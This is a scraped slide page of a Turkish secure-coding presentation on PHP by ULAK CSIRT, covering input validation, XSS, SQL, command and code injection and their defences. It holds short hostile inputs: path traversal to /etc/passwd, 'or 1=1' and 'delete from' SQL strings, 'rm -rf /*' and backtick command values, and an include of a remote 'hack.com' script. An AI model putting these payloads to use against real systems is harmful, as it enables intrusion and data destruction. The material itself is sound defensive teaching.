View
71
Download
0
Category
Preview:
DESCRIPTION
Arş. Gör. Oğuzhan YALÇIN ULAK CSIRT. PHP İle GÜVENLİ KODLAMA. İçerik. Temel güvenlik problemi “kullanıcıdan gelen veriler…” Kullanıcıdan gelen veriler nasıl gelir ve bu verilere nasıl erişilir? Erişim problemleri Verilerin kontrol edilmesi Rakamsal değerlerin kontrolü URL’lerin kontrolü - PowerPoint PPT Presentation
Citation preview
Arş. Gör. Oğuzhan YALÇIN
ULAK CSIRT
İçerik Temel güvenlik problemi “kullanıcıdan
gelen veriler…”Kullanıcıdan gelen veriler nasıl gelir ve bu
verilere nasıl erişilir?○ Erişim problemleri
Verilerin kontrol edilmesi○ Rakamsal değerlerin kontrolü○ URL’lerin kontrolü○ IP – Email kontrolü○ HTML tipli verilerin kontrolü○ Dosya yollarının kontrolü
İçerik
Temel saldırılar ve engelleme yolları○ Yanıt Parçalama
○ XSS
○ SQL enjeksiyonu
○ Komut Enjeksiyonu
○ Kod Enjeksiyonu
Ek Bilgi ve Öneriler○ Hata Raporlama
○ Veritabanı güvenliği
Soru ve Sorunlar….
Verilere erişim
Kullanıcıdan gelen veriye erişebilmek için kullanılan evrensel değişkenler…$_POST
$_GET
$_COOKIE
$_FILE
$_SERVER
$_ENV
$_REQUEST
Erişim Problemleri (Register Globals)
Sunucu tarafına gelen herhangi tipteki (g/p/c…) parametre değişken olarak kayıt edilir.
x.php?a=1 $a=1
Tanımlanmamış (un-initalized) değişkenler sorun oluşturabilir. Nasıl mı?
Erişim Problemleri (Register Globals)
//Script.php
if(authenticated_user())
$authorized=1;
if($authorized)
include(‘onemliveri.php’);
Script.php?authorized=1 ????
Korunma yolları
Kullanılması gerekmiyorsa:
Sunucuda bulunan php.ini dosyası içerisinden kapatmak
Kullanılması gerekliyse:
Hata raporlamalarının kısıtlanması
Tip duyarlı karşılaştırma
if ($authorized===TRUE) { … }
Değerlerin kontrolü
Kullanıcı tarafından gelen değeri taşıyan değişkenlerde bulunma olanağı vereceğimiz tipleri belirlemeliyiz.
Script ya da tag özellikleri ile verdiğimiz değerlere güvenerek hareket etmemeli bunları her durumda kontrol etmeliyiz.
Rakamsal Değerler
Bu tür verilerin kontrolü genelde basittir.
Tip dönüşümü
$gelen=(int)$_GET[‘id’];
$gelen=(float)$_GET[‘id’];
filter_var ile kontrol
$gelen=filter_var($_GET[‘id’],FILTER_VALIDATE_INT);
$gelen=filter_var($_GET[‘id’],FILTER_VALIDATE_FLOAT);
Metinsel Değerler
Ctype ile metin kontrolü
if (!ctype_alnum($_GET['login'])) echo “Sadece A-Za-z0-9 olabilir.";
if (!ctype_alpha($_GET[‘login'])) echo “Sadece A-Za-z olabilir.";
Metinsel Değerler
Türkçe doğrulama (ereg* - preg*)
if ( eregi("^[a-zç-şŞÖĞÇİÜı0-9/_ \.]*$“, $_GET['login']))
echo “Sadece belirli karakterler olabilir.";
Metinsel Değerler
Filter_var ile metin kontrolü
filter_var($var,FILTER_VALIDATE_URL);
filter_var($var,FILTER_VALIDATE_IP);
filter_var($var,FILTER_VALIDATE_EMAIL);
filter_var($var,FILTER_VALIDATE_REGEXP);
Dosya yolları
Kullanıcı tarafından gönderilen dosya bilgileri incelenmelidir.
// http://example.com/script.php?path=../../etc/passwd
fopen(“/anadizin/”.$_GET[‘path’], “r”);
Dosya yolları
Önceki slayttaki gibi bir saldırıdan korunmak için :
$_GET[‘path’] = basename($_GET[‘path’]);
fopen(“/anadizin/”.$_GET[‘path’], “r”);
Başlık Parçalama
//yonlendir.phpheader(“Location: {$_SERVER[‘HTTP_REFERER’]}”);return;
$_SERVER[‘HTTP_REFERER’] = “\r\n\r\nBye bye content!”;
Korunma yolu
PHP’yi en son sürümüne yükseltin. Yeni sürümlerde bir seferde birden fazla başlık bilgisi gönderilemez.
Eski sürümler içinse \r\n bulunup bulunmadığı kontrol edilebilir.
XSS XSS açıkları uygulama kullanıcıdan veri
alıp, bunları herhangi bir kodlamaya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur.
XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerinçalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesinesebep olan betik çalıştırmasına izin verir .
Korunma Yolu
htmlspecilachars(); ‘,”,<,>,& işaretlerini çevirir
htmlentities(); Html verisi olarak kabul edilen herşeyi çevirir.
strip_tags(); Tag olarak kabul edilen herşeyi
kaldırır.
Korunma Yolu İstenirse strip_tags fonksiyonunun bazı html
taglarını kaldırmaması sağlanabilir.
$str=strip_tags($_GET[‘veri’],’<p><b><i><u>’);
<u onmouseover="alert('JavaScript is allowed');">
<p style="background: url(http://track.com/i.gif)">
SQL Enjeksiyonu
Enjeksiyon saldırılarına, özellikle SQLenjeksiyonu, web sitelerinde sıkça rastlanmaktadır. Enjeksiyon kullanıcı tarafından alınan verinin yorumlayıcıya komut ya da sorgunun bir parçası olarak gönderilmesi durumunda oluşur. Saldırganın düşmanca gönderdiği veriler yorumlayıcının istenmeyen komutları çalıştımasına veya veriyi değiştirmesine sebep olur.
SQL Enjeksiyonu nasıl yapılır En sık kullanılan sql injection sorgu
örneği;$strSql=“select * from kullanicilar where ad=‘$ad’ and sifre=‘$sifre’”;$ad=“‘ or 1=1--” ya da$ad=“’ or 1=1 /*” olursa $strSql=“select * from kullanicilar where ad=‘’ or 1=1 /* and sifre=‘$sifre’”
Korunma Yolları
$ad=mysql_real_escape_string($_GET[‘ad’]);
$ad=mysql_escape_string($_GET[‘ad’]);
$ad=pg_escape_bytea($_GET[‘ad’]);$ad=pg_escape_string($_GET[‘ad’]);
Korunma Yolları Burada ne yapacağız;
//deneme.php
$id=mysql_real_escape_string($_GET[‘id’]);
mysql_query(“select * from kullanicilar where id=$id”);
deneme.php?id=20;delete%20from%20kullanicilar
Korunma Yolları
Peki ya burada?
//deneme.php
$id=0xBF . 0x27; // ¿’
$id=mysql_real_escape_string($id); // ‘
Korunma Yolları
Görünen en iyi çözüm “prepared statements”$DB=new PDO();$stmt=$DB->prepare(‘insert into users (ad,sifre) values(‘:ad’,’:sifre’)’);
$ad=“asd”; $sifre=“qwe”;
$stmt->bindparam(“:ad”,$ad);$stmt->bindparam(“:sifre”,$sifre);$stmt->execute();
Komut Enjeksiyonu
$cmd =“mogrify –size {$_POST[‘x’]} x”;
$cmd .=“ {$_POST[‘y’]}”;$cmd .= $_FILES[‘image’][‘tmp_name’];$cmd .= “public_html/“;$cmd .=$_FILES[‘image’][‘name’];shell_exec($cmd);
Komut Enjeksiyonu
$_POST[‘x’]=“rm –rf /*”;
$_POST[‘y’]=‘`cat /etc/passwd public_html/p.html; echo 65`’;
Korunma Yolları
$_POST[‘x’]=“rm –rf /*”;$_POST[‘y’]=‘`cat /etc/passwd public_html/p.html; echo 65`’;
escapeshellarg(); escapeshellcmd();
Kod Enjeksiyonu
Sebep oluşturabilecek noktalar:Include ve require kullanılan yerler.Eval kullanılan yerler.
include(“templates/”.$tmpname;//$tmpname=../../../../etc/passwdeval(“$value=array(doQuery({$id}));”
);//$id=));file_put_contents(“exec.php”,”<?
php include(‘http://hack.com/x.txt’);?>”)
Diğer Öneriler
Hata bildirimi Veritabanı güvenliği
Hata Bildirimi
Hata bildirimini kapatmak için methodlar:php.ini içinden display_errors=0 yapmak,Kod içinde ini_set(“display_errors”,false)
yapmak,Kod içinde error_reporting(0); yazmak
Hatalar geliştiriciler için önemlidir. Bu sebeple bir dosyada loglanması uygun olabilir.
Veritabanı güvenliği
Her vhost için verilen db şifrelerini vhost’ların sahibine teslim etmek ve kişinin bir dosya içerisinde tanımlayarak kullanmasını sağlamaktansa şifreyi sadece o site içinde kullanılabilecek ve erişimi kısıtlamayacak şekilde ayarlamalıyız.
Veritabanı güvenliği
/vhmysql/deneme/mysql.cnfmysql.default_host=localhost;mysql.default_user=site;mysql.default_password=gizli;
//httpd.conf<VirtualHost deneme.gazi.edu.tr>
Include /vhmysql/deneme/mysql.cnf</VirtualHost>
CSIRT yapılan çalışmalar
Oğuzhan YALÇINoguzhanyalcin@gazi.edu.trhttp://viki.csirt.ulakbim.gov.tr
Kaynaklar; http://ilia.ws/files/phptek2007_security.pdf http://ilia.ws/files/phptek2007_secpitfalls.pdf http://www.amazon.com/php-architects-
Guide-PHP-Security/dp/0973862106/ref=sr_1_1?ie=UTF8&s=books&qid=1196330670&sr=8-1
Recommended